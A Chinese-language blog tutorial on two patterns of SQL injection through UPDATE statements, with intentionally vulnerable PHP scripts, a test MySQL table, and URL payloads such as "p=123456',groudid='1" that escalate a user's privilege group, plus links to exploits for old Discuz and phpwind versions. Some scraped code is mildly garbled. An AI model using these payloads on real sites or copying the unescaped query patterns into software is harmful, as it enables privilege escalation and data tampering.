UPDATE注射的两个模式是什么

47次阅读
没有评论

共计 3463 个字符,预计需要花费 9 分钟才能阅读完成。

今天就跟大家聊聊有关 UPDATE 注射的两个模式是什么,可能很多人都不太了解,为了让大家更加了解,丸趣 TV 小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

一. 测试环境:

OS: Windowsxp sp2

php: php 4.3.10 (

mysql 4.1.9

apache 1.3.33 

二. 测试数据库结构:

—-start—

—  数据库: `test`

— 

— ——————————————————–

— 

—  表的结构  `userinfo`

— 

CREATE TABLE `userinfo` (

`groudid` varchar(12) NOT NULL default ’1’,

`user` varchar(12) NOT NULL default ’heige’,

`pass` varchar(122) NOT NULL default ’123456’

) ENGINE=MyISAM DEFAULT CHARSET=latin1;

— 

—  导出表中的数据  `userinfo`

— 

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’);

——end——-

三. 测试模式:

1, 变量没有带’’或 [MOD1]

?php

//test1.php Mod1

$servername =  localhost

$dbusername =  root

$dbpassword = 

$dbname =  test

mysql_connect($servername,$dbusername,$dbpassword) or die (数据库连接失败

$sql =  update userinfo set pass=$p where user=’heige’// –$P 没有使用单引号

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo 

SQL Query:$sql

?

脚本里只是修改 user=’heige’的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p  来达

到修改 groupid 的目的:

那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1

在 mysql 里查询:mysql  select * from userinfo;

+———+——-+——–+

| groudid | user | pass  |

+———+——-+——–+

| 1  | heige | 123456 |

+———+——-+——–+

1 row in set (0.01 sec)

用户 heige 的 groudid 又 2 改为 1 了  :)

所以我们可以得到没有’’或  update 的注射是可以成功的,这个就是我们的模式 1。

2, 变量带’’或 [MOD2]

?php

//test2.php

$servername =  localhost

$dbusername =  root

$dbpassword = 

$dbname =  test

mysql_connect($servername,$dbusername,$dbpassword) or die (数据库连接失败

$sql =  update userinfo set pass=’$p’ where user=’heige’// –$P 使用单引号

$result = mysql_db_query($dbname, $sql);

$userinfo = mysql_fetch_array($result);

echo 

SQL Query:$sql

?

为了关闭’我们构造 $p 应该为 123456’,groudid=’2  提交:

http://127.0.0.1/test2.php?p=123456’,groudid=’1  在 gpc=on 的情况下’变成了’

提交的语句变成:SQL Query:update userinfo set pass=’123456’,groudid=’1’ where user=’heige’

mysql 查询:

mysql  select * from userinfo;

+———+——-+——————–+

| groudid | user | pass  |

+———+——-+——————–+

| 2  | heige | 123456’,groudid=’1 |

+———+——-+——————–+

1 row in set (0.00 sec)

groudid 并没有被修改。那么在变量被’’或 时   就完全没有被注射呢?不是   下面我们看模式 2:?php

//test3.php Mod2

$servername =  localhost

$dbusername =  root

$dbpassword = 

$dbname =  test

mysql_connect($servername,$dbusername,$dbpassword) or die (数据库连接失败

$sql =  update userinfo set pass=’$p’ where user=’heige’// –$P 使用单引号

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); //$p 的数据写入数据库

$sql=  select pass from userinfo where user=’heige’ 

$result = mysql_db_query($dbname, $sql);

$userinfo=mysql_fetch_array($result); 

echo $userinfo[0]; // 把 pass 查询输出给 $userinfo[0]

$sql = update userinfo set pass=’$userinfo[0]’ where user=’heige’

$result = mysql_db_query($dbname, $sql);

mysql_fetch_array($result); // 把 $userinfo[0]  再次 update

?

我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1

回 mysql 查询下  :mysql  select * from userinfo;

+———+——-+——–+

| groudid | user | pass  |

+———+——-+——–+

| 1  | heige | 123456 |

+———+——-+——–+

1 row in set (0.00 sec)

HaHa~~  成功注射   修改 groudid 为 1。  这个就是我们的模式 2 了,简单的描叙如下:

update– gtselect– gtupdate

四. 实际模式

模式 1:Discuz 2.0/2.2 register.php  注射  

漏洞分析:http://4ngel.net/article/41.htm

Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm

模式 2:phpwind 2.0.2 和 3.31e  权限提升漏洞

  漏洞分析:

update (profile.php  注射变量为 $proicon update 语句里为,icon=’$userdb[icon]’)

|

v

select (jop.php)

|

v

updtate (jop.php)

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

看完上述内容,你们对 UPDATE 注射的两个模式是什么有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注丸趣 TV 行业资讯频道,感谢大家的支持。

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-07-27发表,共计3463字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)